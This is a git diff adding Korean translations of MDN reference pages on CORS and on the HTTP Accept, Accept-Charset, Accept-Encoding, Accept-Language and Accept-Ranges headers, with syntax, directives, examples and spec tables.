+HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2 +Access-Control-Allow-Origin: https://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload]</code></pre> + +<p>10행에는 <code>http://bar.other</code>의 컨텐츠를 대상으로 하는 쿠키가 포함되어 있습니다. 하지만 17행의 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 로 응답하지 않으면, 응답은 무시되고 웹 컨텐츠는 제공되지 않습니다.</p> + +<h4 id="자격증명_요청_및_와일드카드Credentialed_requests_and_wildcards">자격증명 요청 및 와일드카드(Credentialed requests and wildcards)</h4> + +<p>credentialed request 에 응답할 때 서버는 <code>Access-Control-Allow-Origin</code> 헤더 "<code>*</code>" 와일드카드를 사용하는 대신에 <strong>반드시</strong> 에 값을 지정해야 합니다.</p> + +<p>위 예제의 요청 헤더에 <code>Cookie</code> 헤더가 포함되어 있기 때문에 <code>Access-Control-Allow-Origin</code> 헤더의 값이 "*"인 경우 요청이 실패합니다. 위 요청은 <code>Access-Control-Allow-Origin</code> 헤더가 "<code>*</code>" 와일드 카드가 아니라 "<code>http://foo.example</code>" 본래 주소이기 때문에 자격증명 인식 컨텐츠는 웹 호출 컨텐츠로 리턴됩니다.</p> + +<p>위 예제의 <code>Set-Cookie</code> 응답 헤더는 추가 쿠키를 설정합니다. 실패한 경우 사용한 API에 따라 예외가 발생합니다.</p> + +<h4 id="Third-party_cookies">Third-party cookies</h4> + +<p>CORS 응답에 설정된 쿠키에는 일반적인 third-party cookie 정책이 적용됩니다. 위의 예제는 <code>foo.example</code>에서 페이지를 불러지만 20행의 쿠키는 <code>bar.other</code> 가 전송합니다. 때문에 사용자의 브라우저 설정이 모든 third-party cookies를 거부하도록 되어 있다면, 이 쿠키는 저장되지 않습니다.</p> + +<h2 id="HTTP_응답_헤더">HTTP 응답 헤더</h2> + +<p>이 섹션에서는 Cross-Origin 리소스 공유 명세에 정의된 대로 서버가 접근 제어 요청을 위해 보내는 HTTP 응답 헤더가 나열되어 있습니다. The previous section gives an overview of these in action.</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>리턴된 리소스에는 다음 구문과 함께 하나의 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더가 있을 수 있습니다.</p> + +<pre><code>Access-Control-Allow-Origin: <origin> | *</code></pre> + +<p><code>Access-Control-Allow-Origin</code> 은 단일 출처를 지정하여 브라우저가 해당 출처가 리소스에 접근하도록 허용합니다. 또는 자격 증명이 <strong>없는</strong> 요청의 경우 "<code>*</code>" 와일드 카드는 브라우저의 origin에 상관없이 모든 리소스에 접근하도록 허용합니다.</p> + +<p>예를들어 <code>https://mozilla.org</code> 의 코드가 리소스에 접근 할 수 있도록 하려면 다음과 같이 지정할 수 있습니다.</p> + +<pre><code>Access-Control-Allow-Origin: https://mozilla.org</code></pre> + +<p>서버가 "<code>*</code>" 와일드카드 대신에 하나의 origin을 지정하는 경우, 서버는 {{HTTPHeader("Vary")}} 응답 헤더에 <code>Origin</code> 을 포함해야 합니다. 이 origin은 화이트 리스트의 일부로 요청 orgin에 따라 동적으로 변경될 수 있습니다. 서버 응답이 {{HTTPHeader("Origin")}} 요청 헤더에 따라 다르다는것을 클라이언트에 알려줍니다.</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 헤더를 사용하면 브라우저가 접근할 수 있는 헤더를 서버의 화이트리스트에 추가할 수 있습니다.</p> + +<pre><code>Access-Control-Expose-Headers: <header-name>[, <header-name>]*</code></pre> + +<p>예를들면 다음과 같습니다.</p> + +<pre><code>Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header</code></pre> + +<p><code>X-My-Custom-Header</code> 와 <code>X-Another-Custom-Header</code> 헤더가 브라우저에 드러납니다.</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>{{HTTPHeader("Access-Control-Max-Age")}} 헤더는 preflight request 요청 결과를 캐시할 수 있는 시간을 나타냅니다. preflight request 예제는 위를 참조하세요.</p> + +<pre><code>Access-Control-Max-Age: <delta-seconds></code></pre> + +<p><code>delta-seconds</code> 파라미터는 결과를 캐시할 수 있는 시간(초)를 나타냅니다.</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 헤더는 <code>credentials</code> 플래그가 true일 때 요청에 대한 응답을 표시할 수 있는지를 나타냅니다. preflight request에 대한 응답의 일부로 사용하는 경우, credentials을 사용하여 실제 요청을 수행할 수 있는지를 나타냅니다. simple <code>GET</code> requests는 preflighted되지 않으므로 credentials이 있는 리소스를 요청하면, 이 헤더가 리소스와 함께 반환되지 않습니다. 이 헤더가 없으면 브라우저에서 응답을 무시하고 웹 컨텐츠로 반환되지 않는다는 점을 주의하세요.</p> + +<pre><code>Access-Control-Allow-Credentials: true</code></pre> + +<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Requests_with_credentials">Credentialed requests</a> 은 위에 설명되어 있습니다.</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 헤더는 리소스에 접근할 때 허용되는 메서드를 지정합니다. 이 헤더는 preflight request에 대한 응답으로 사용됩니다. 요청이 preflighted 되는 조건은 위에 설명되어 있습니다.</p> + +<pre><code>Access-Control-Allow-Methods: <method>[, <method>]*</code></pre> + +<p>이 헤더를 브라우저로 전송하는 예제를 포함하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request 의 예제는</a>, 위에 나와 있습니다.</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request</a> 에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Headers")}} 헤더가 사용됩니다. 실제 요청시 사용할 수 있는 HTTP 헤더를 나타냅니다.</p> + +<pre><code>Access-Control-Allow-Headers: <header-name>[, <header-name>]*</code></pre> + +<h2 id="HTTP_요청_헤더">HTTP 요청 헤더</h2> + +<p>이 섹션에는 cross-origin 공유 기능을 사용하기 위해 클라이언트가 HTTP 요청을 발행할 때 사용할 수 있는 헤더가 나열되어 있습니다. 이 헤더는 서버를 호출할 때 설정됩니다. cross-site {{domxref("XMLHttpRequest")}} 기능을 사용하는 개발자는 프로그래밍 방식으로 cross-origin 공유 요청 헤더를 설정할 필요가 없습니다.</p> + +<h3 id="Origin">Origin</h3> + +<p>{{HTTPHeader("Origin")}} 헤더는 cross-site 접근 요청 또는 preflight request의 출처를 나타냅니다.</p> + +<pre><code>Origin: <origin></code></pre> + +<p>origin 은 요청이 시작된 서버를 나타내는 URI 입니다. 경로 정보는 포함하지 않고, 오직 서버 이름만 포함합니다.</p> + +<div class="note"><strong>참고:</strong> <code>origin</code> 값은 <code>null</code> 또는 URI 가 올 수 있습니다.</div> + +<p>접근 제어 요청에는 <strong>항상</strong> {{HTTPHeader("Origin")}} 헤더가 전송됩니다.</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 실제 요청에서 어떤 HTTP 메서드를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p> + +<pre><code>Access-Control-Request-Method: <method></code></pre> + +<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청에서 어떤 HTTP 헤더를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p> + +<pre><code>Access-Control-Request-Headers: <field-name>[, <field-name>]*</code></pre> + +<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="https://httptoolkit.tech/will-it-cors">Will it CORS?</a> - an interactive CORS explainer & generator</li> + <li><a href="https://www.telerik.com/blogs/using-cors-with-all-modern-browsers">Using CORS with All (Modern) Browsers</a></li> + <li><a href="https://alfilatov.com/posts/run-chrome-without-cors/">How to run Chrome browser without CORS</a></li> + <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>: + <ul> + <li>How to avoid the CORS preflight</li> + <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li> + <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li> + </ul> + </li> +</ul> diff --git a/files/ko/web/http/headers/accept-charset/index.html b/files/ko/web/http/headers/accept-charset/index.html new file mode 100644 index 0000000000..9760f9ac93 --- /dev/null +++ b/files/ko/web/http/headers/accept-charset/index.html @@ -0,0 +1,80 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +translation_of: Web/HTTP/Headers/Accept-Charset +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Charset</code></strong> 요청 HTTP 헤더는 클라이언트가 이해할 수 있는 캐릭터셋이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 것 중 하나를 선택하고, 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더를 통해 선택된 캐릭터셋을 클라이언트에게 알려줍니다. 브라우저들은 각각의 컨텐츠 타입에 대한 기본 값이 일반적으로 정확하고 그것을 전송하는 것이 더 쉽게 행적을 남기게 될 가능성이 있으므로 이 헤더를 설정하지 않습니다.</p> + +<p>서버가 일치하는 캐릭터셋을 서브하지 못할 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신할 수 있습니다. 그러나, 더 나은 사용자 경험을 위해, 그런 경우는 드물며 더 일반적인 방법은 이런 경우 <code>Accept-Charset</code> 헤더를 무시하는 겁니다.</p> + +<div class="note"> +<p>HTTP/1.1 초기 버전에서는, 기본 캐릭터셋(<code>ISO-8859-1</code>)이 정의됐었습니다. 더 이상 실제로 그렇지 않으며 이제 각각의 컨텐츠 타입이 기본 값을 가지고 있을 수도 있습니다.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre>Accept-Charset: <charset> // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: Accept-Charset: utf-8, iso-8859-1;q=0.5</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code><charset></code></dt> + <dd><code>utf-8</code> 혹은 <code>iso-8859-15</code>와 같은 캐릭터셋.</dd> + <dt><code>*</code></dt> + <dd>헤더 내 다른 곳에서 언급되지 않은 모든 캐릭터셋; 와일드카드로 사용되는<code>'*'.</code></dd> + <dt><code>;q=</code> (q-인자 가중치)</dt> + <dd><em>weight</em>라고 불리는 상대적 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Accept-Charset: iso-8859-1 + +Accept-Charset: utf-8, iso-8859-1;q=0.5 + +Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1 +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성되었습니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주세요.</p> + +<p>{{Compat("http.headers.Accept-Charset")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li> + <li>컨텐츠 협상 결과를 이용하는 헤더: {{HTTPHeader("Content-Type")}}</li> + <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/ko/web/http/headers/accept-encoding/index.html b/files/ko/web/http/headers/accept-encoding/index.html new file mode 100644 index 0000000000..814aa2e188 --- /dev/null +++ b/files/ko/web/http/headers/accept-encoding/index.html @@ -0,0 +1,109 @@ +--- +title: Accept-Encoding +slug: Web/HTTP/Headers/Accept-Encoding +translation_of: Web/HTTP/Headers/Accept-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Encoding</code></strong> 요청 HTTP 헤더는, 보통 압축 알고리즘인, 클라이언트가 이해 가능한 컨텐츠 인코딩이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 내용 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Encoding")}} 응답 헤더를 이용해 선택된 것을 클라이언트에게 알려줍니다.</p> + +<p>클라이언트와 서버 모두 동일한 압축 알고리즘을 지원한다고 해도, 식별 값 또한 수용 가능하다면, 서버는 응답의 본문을 압축하지 않으려고 할 수 있습니다. 두 가지 일반적인 경우가 이런 일을 초래합니다:</p> + +<ul> + <li>전송되어야 할 데이터가 이미 압축되어 있고 두번째 압축이 전송해야 할 데이터를 더 작게 만들지 못할 경우가 있습니다. 이런 경우는 이미지 포맷 압축에 해당되는 경우가 많습니다;</li> + <li>서버에 과부하가 걸리고 압축 요구사항에 의해 초래된 연산의 오버헤드를 감당할 수 없는 경우가 있습니다. 일반적으로, Microsoft는 서버가 자신의 연산력의 80% 이상을 사용하는 경우 압축하지 않을 것을 권고하고 있습니다.</li> +</ul> + +<p>부호화(encoding)되지 않았음을 의미하는, <code>identity</code> 값이 식별에 대한 다른 명시적인 설정 값 없이 <code>identity;q=0</code> or a <code>*;q=0</code>에 의해 명시적으로 숨겨지지 않는 한, 서버는 {{HTTPStatus("406")}} <code>Acceptable</code> 오류를 회신해서는 결코 안됩니다.</p> + +<div class="note"><strong>Notes:</strong> + +<ul> + <li> + <p>IANA 레지스트리는 <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">공식적인 컨텐츠 인코딩의 전체 목록</a>을 운영 중입니다.</p> + </li> + <li>두 개의 다른 컨텐츠 인코딩, <code>bzip</code>과 <code>bzip2</code>이 표준은 아니지만 때때로 사용되기도 합니다. 그들은 두 개의 UNIX 프로그램에 의해 사용되는 알고리즘을 구현합니다. 첫번째 알고리즘은 특허 라이선스 문제 때문에 더 이상 유지되지 않는다는 것을 알아두시기 바랍니다.</li> +</ul> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Accept-Encoding: gzip +Accept-Encoding: compress +Accept-Encoding: deflate +Accept-Encoding: br +Accept-Encoding: identity +Accept-Encoding: * + +// Multiple algorithms, weighted with the {{Glossary("Quality Values", "quality value")}} syntax: +Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>32비트 CRC와 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)를 사용하는 압축 포맷.</dd> + <dt><code>compress</code></dt> + <dd><a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 압축 포맷.</dd> + <dt><code>deflate</code></dt> + <dd><em><a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조를 사용하는 압축 포맷.</dd> + <dt><code>br</code></dt> + <dd><a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 압축 포맷.</dd> + <dt><code>identity</code></dt> + <dd>식별 함수(압축하지 않거나 수정하지 않은 경우)를 가리킵니다. 이 값은 존재하지 않은 경우에도 항상 수용 가능하다고 여겨집니다.</dd> + <dt><code>*</code></dt> + <dd>헤더 내에 아직 나열되지 않은 컨텐츠 인코딩이라도 일치됩니다. 헤더가 존재하지 않을 경우, 기본값이 됩니다. 그것이 모든 알고리즘이 지원된다는 것을 의미하지는 않습니다; 단지 표현된 선호 대상이 없다는 것을 의미합니다.</dd> + <dt><code>;q=</code> (q값 가중치)</dt> + <dd><em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_value">퀄리티 값</a>을 사용하여 표현한 선호도에 따라 배치된 값입니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Accept-Encoding: gzip + +Accept-Encoding: gzip, compress, br + +Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">이 페이지의 호환성 테이블은 구조화 데이터로부터 생성된 것입니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주시기 바랍니다.</p> + +<p>{{Compat("http.headers.Accept-Encoding")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li> + <li>컨텐츠 협상의 결과를 이용한 헤더: {{HTTPHeader("Content-Encoding")}}</li> + <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/ko/web/http/headers/accept-language/index.html b/files/ko/web/http/headers/accept-language/index.html new file mode 100644 index 0000000000..083d379856 --- /dev/null +++ b/files/ko/web/http/headers/accept-language/index.html @@ -0,0 +1,89 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +translation_of: Web/HTTP/Headers/Accept-Language +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Language</code></strong> 요청 HTTP 헤더는 어떤 언어를 클라이언트가 이해할 수 있는지, 그리고 지역 설정 중 어떤 것이 더 선호되는지를 알려줍니다. (여기서 언어란 프로그래밍 언어가 아니라 영어같은 자연 언어를 의미합니다.) <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안 중 하나를 선택한 뒤, 그것을 사용하고 {{HTTPHeader("Content-Language")}} 응답 헤더와 함께 선택된 내용을 클라이언트에게 알려줍니다. 브라우저는 사용자 인터페이스 언어에 따라 해당 헤더에 적절한 값을 설정하며 사용자가 사용자 인터페이스 언어를 변경한 경우조차도, 헤더의 값이 변경되는 일은 거의 없습니다(그리고 그런 일이 일어나게 되면 흔적이 남으므로 눈살을 찌프리게 됩니다).</p> + +<p>이 헤더는 서버가 언어를 결정할 다른 방도(명시적인 사용자 결정에 의한 구체적인 URL과 같은)를 찾지 못한 경우 사용되는 힌트입니다. 서버는 명시적인 결정을 결코 재정의해서는 안됩니다. <code>Accept-Language</code>의 내용은 대게 사용자에 의해 좌지우지되지 못합니다(다른 나라의 인터넷 카페를 방문하여 사용하는 경우처럼); 사용자는 그들의 사용자 인터페이스의 로케일과는 다른 언어로 된 페이지에 방문하고 싶어 할 수도 있습니다.</p> + +<p>서버가 일치되는 어떤 언어로 서브할 수 없는 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신하게 됩니다. 그러나, 좀 더 나은 사용자 경험을 위해, 이런 경우는 드물며 그런 경우에 가장 흔한 방법은 <code>Accept-Language</code> 헤더를 무시하는 것입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 유형</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Accept-Language: <language> +Accept-Language: <locale> +Accept-Language: * + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code><language></code></dt> + <dd>2개 혹은 3개 문자로 이루어진 문자열로 표현되는 언어</dd> + <dt><code><locale></code></dt> + <dd>전체적인 언어 태그. language 그 자체에 추가로, <code>'-'</code>뒤에 추가적인 내용을 담을 수도 있습니다. 가장 일반적인 추가 정보는 ('en-US'와 같은) 국가 변수값(variant) 혹은 사용을 위한 (<code>'sr-Lat'</code>와 같은) 알파벳 유형이 있습니다. 철자법 타입과 같은 다른 변형들(<code>'de-DE-1996'</code>)은 보통 이 헤더의 맥락에서는 사용되지 않습니다. Other variants like the type of orthography (<code>'de-DE-1996'</code>)</dd> + <dt><code>*</code></dt> + <dd>어떤 언어든지 상관없음; 와일드카드처럼 사용되는 <code>'*'</code>.</dd> + <dt><code>;q=</code> (q-인자 가중치)</dt> + <dd><em>weight</em>라고 불리는 상대적 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Accept-Language: de + +Accept-Language: de-CH + +Accept-Language: en-US,en;q=0.5 +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Language")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li> + <li>컨텐츠 협상의 결과로 나오는 헤더: {{HTTPHeader("Content-Language")}}</li> + <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/ko/web/http/headers/accept-ranges/index.html b/files/ko/web/http/headers/accept-ranges/index.html new file mode 100644 index 0000000000..0485fb0873 --- /dev/null +++ b/files/ko/web/http/headers/accept-ranges/index.html @@ -0,0 +1,72 @@ +--- +title: Accept-Ranges +slug: Web/HTTP/Headers/Accept-Ranges +translation_of: Web/HTTP/Headers/Accept-Ranges +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Accept-Ranges</strong></code> 응답 HTTP 헤더는 부분 요청의 지원을 알리기 위해 서버에 의해 사용되는 표식입니다. 이 필드의 값은 범위를 정의하기 위해 사용될 수 있는 단위를 가리킵니다.</p> + +<p><code>Accept-Ranges</code> 헤더가 존재하면, 브라우저는 처음부터 다시 다운로드를 시작하지 않고, 중단된 다운로드를 <em>재개</em>하려고 할 것입니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Accept-Ranges: bytes +Accept-Ranges: none</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code>none</code></dt> + <dd>지원되는 범위의 단위가 없음을 나타내는데, 이는 헤더가 존재하지 않는 경우와 동일하므로 거의 사용되지 않습니다. 그렇지만 IE9같은 브라우저의 경우 다운로드 매니저의 일시중지 버튼을 비활설화(disable) 혹은 제거(remove)할 때 쓰이곤 합니다.</dd> + <dt><code>bytes</code></dt> + <dd> + <p>범위는 바이트로 표현될 수 있습니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Accept-Ranges: bytes +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Ranges")}}</li> +</ul> diff --git a/files/ko/web/http/headers/accept/index.html b/files/ko/web/http/headers/accept/index.html new file mode 100644 index 0000000000..80b4ee0216 --- /dev/null +++ b/files/ko/web/http/headers/accept/index.html @@ -0,0 +1,81 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +translation_of: Web/HTTP/Headers/Accept +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept</code></strong> 요청 HTTP 헤더는 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>으로 표현되는, 클라이언트가 이해 가능한 컨텐츠 타입이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 이용해, 서버는 제안 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더로 클라이언트에게 선택된 타입을 알려줍니다. 브라우저는 요청이 이루어진 컨텍스트에 따라 해당 헤더에 대해 적당한 값들을 설정합니다: CSS 스타일시트를 불러오게 되면, 이미지, 비디오 혹은 스크립트를 불러올 때와 다른 값이 요청에 대해 설정됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd><code>text/html</code>와 같이 단일의 간격한 <a 